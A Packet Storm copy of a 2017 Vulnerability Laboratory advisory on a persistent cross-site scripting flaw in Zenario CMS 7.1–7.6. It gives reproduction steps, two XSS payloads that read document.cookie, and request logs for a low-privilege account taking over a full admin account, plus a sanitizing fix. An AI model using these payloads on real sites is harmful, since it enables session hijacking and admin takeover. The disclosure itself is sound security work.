what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Zenario 7.6 Cross Site Scripting

Zenario 7.6 Cross Site Scripting
Posted May 3, 2017
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Zenario version 7.6 suffers from a delete persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | e7230a99e0943043bd5ada068b593ab01ef8d011e36df23bb55d7a42a07484c8

Zenario 7.6 Cross Site Scripting

Change Mirror Download
Document Title:
===============
Zenario v7.6 - (Delete) Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2042


Release Date:
=============
2017-03-20


Vulnerability Laboratory ID (VL-ID):
====================================
2042


Common Vulnerability Scoring System:
====================================
3.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Product & Service Introduction:
===============================
Zenario is a web-based content management system for sites with one or many languages. It's designed to grow with
your site, adding extranet, online database and custom functionality when you need it. Zenario 7.2 has a new feature
to add CSS styles and media queries, thereby allowing you to make mobile-friendly "responsive" email newsletters.

(Copy of the Homepage: http://zenar.io/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the official
Zenario v7.1 - v7.6 content management system web-application.


Vulnerability Disclosure Timeline:
==================================
2017-03-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Zenario
Product: Zenario - Content Management System (Web-Application) 7.1

Zenario
Product: Zenario - Content Management System (Web-Application) 7.2

Zenario
Product: Zenario - Content Management System (Web-Application) 7.3

Zenario
Product: Zenario - Content Management System (Web-Application) 7.4

Zenario
Product: Zenario - Content Management System (Web-Application) 7.5

Zenario
Product: Zenario - Content Management System (Web-Application) 7.6


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the official Zenario v7.1 - v7.6 content management system.
The cross site scripting vulnerability allows remote attackers to inject own malicious script code via persistent attack vector.

The persistent cross site scripting vulnerability is located in the `zenario_fbWarning - snippet_warning` parameters of
the `organizer.php` and `admin_boxes.ajax.php` files. Limited admin accounts and translator accounts are able to takeover
the full admin account by manipulation of the delete post method request content. The attacker with the low privilege admin
account injects his code without visible execution to the database management system via web-application. The execution
point occurs in case of an item delete request by the full admin user account. The request method to inject is POST and
the attack vector of the vulnerability is persistent on the application-side.

The security risk of the xss vulnerability is estimated as medium with a common vulnerability scoring system count of 3.6.
Exploitation of the persistent xss web vulnerability requires a limited admin user account and only low user interaction.
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent external
redirect to malicious sources and persistent manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Function(s):
[+] Delete Function (Item)

Vulnerable File(s):
[+] admin_boxes.ajax.php
[+] organizer.php

Vulnerable Parameter(s):
[+] zenario_fbWarning - snippet_warning

Affected Module(s):
[+] ./zenario/admin/


Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by restricted user accounts with low user interaction.
For security demonstraton or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce ...
1. Login with the restricted account to the frontend or backend of zenario
2. Add any new function, role, group, module, form or post to the dbms via post
3. Now, logout and login with a high privilege admin user test account
4. Improve the backend by processing to delete the new entry of the other low privilege user account
Note: A warning occurs that displays the input of the content that should be deleted
4. The execution occurs on each delete request via post of a high privilege admin account in the zerario_fbWarning exception message content
5. Successful reproduce of the persistent cross site scripting vulnerability!

Note: In the security check we used a limited admin account to takeover the full admin account to compromise via backend


PoC: Vulnerable Source (zenario_fbWarning - snippet_warning)
<div class="div_table_column">
<div class="">
<div class="zenario_fbWarning"><span id="snippet__warning">
Are you sure you wish to delete the role "<[PERSISTENT SCRIPT CODE EXECUTION POINT!]">?</span></div>
</div>


Payload: XSS
"<img src="evil.source" onload=alert(document.cookie)>
"<iframe src="evil.source" onload=alert(document.cookie)>


--- PoC Session Logs (Inject & Execute) ---
Status: 200[OK]
POST http://zenar.io.localhost:8080/zenario/admin/admin_boxes.ajax.php?path=zenario_organization_manager__delete_role&id=4
Mime Type[text/javascript]
Request Header:
Host[zenar.io.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://zenar.io.localhost:8080/zenario/admin/organizer.php?fromCID=1&fromCType=html]
Connection[keep-alive]
POST-Daten:
_fill[true]
_values[]
Response Header:
Server[Apache/2.4.23 (Ubuntu)]
Set-Cookie[PHPSESSID=htlnidme4vsj2f1am2n1jbjr44; path=/; HttpOnly]
X-Frame-Options[SAMEORIGIN]
Content-Length[432]
Keep-Alive[timeout=5, max=98]
Connection[Keep-Alive]
Content-Type[text/javascript; charset=UTF-8]
- Execution Point
Status: 200[OK]
GET http://zenar.io.localhost:8080/zenario/admin/evil.source
Mime Type[text/html]
Request Header:
Host[zenar.io.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Referer[http://zenar.io.localhost:8080/zenario/admin/organizer.php?fromCID=x&fromCType=html]
Connection[keep-alive]
Response Header:
Server[Apache/2.4.23 (Ubuntu)]
Content-Length[292]
Connection[Keep-Alive]
Content-Type[text/html; charset=iso-8859-1]


Reference(s):
http://zenar.io.localhost:8080/
http://zenar.io.localhost:8080/zenario/
http://zenar.io.localhost:8080/zenario/admin/
http://zenar.io.localhost:8080/zenario/admin/organizer.php
http://zenar.io.localhost:8080/zenario/admin/admin_boxes.ajax.php


Solution - Fix & Patch:
=======================
1. Escape the content that is displayed of the database management system in the warning message content
2. Disallow the usage of special chars on in warning messages and replace the content to sanitize


Security Risk:
==============
The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com




Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close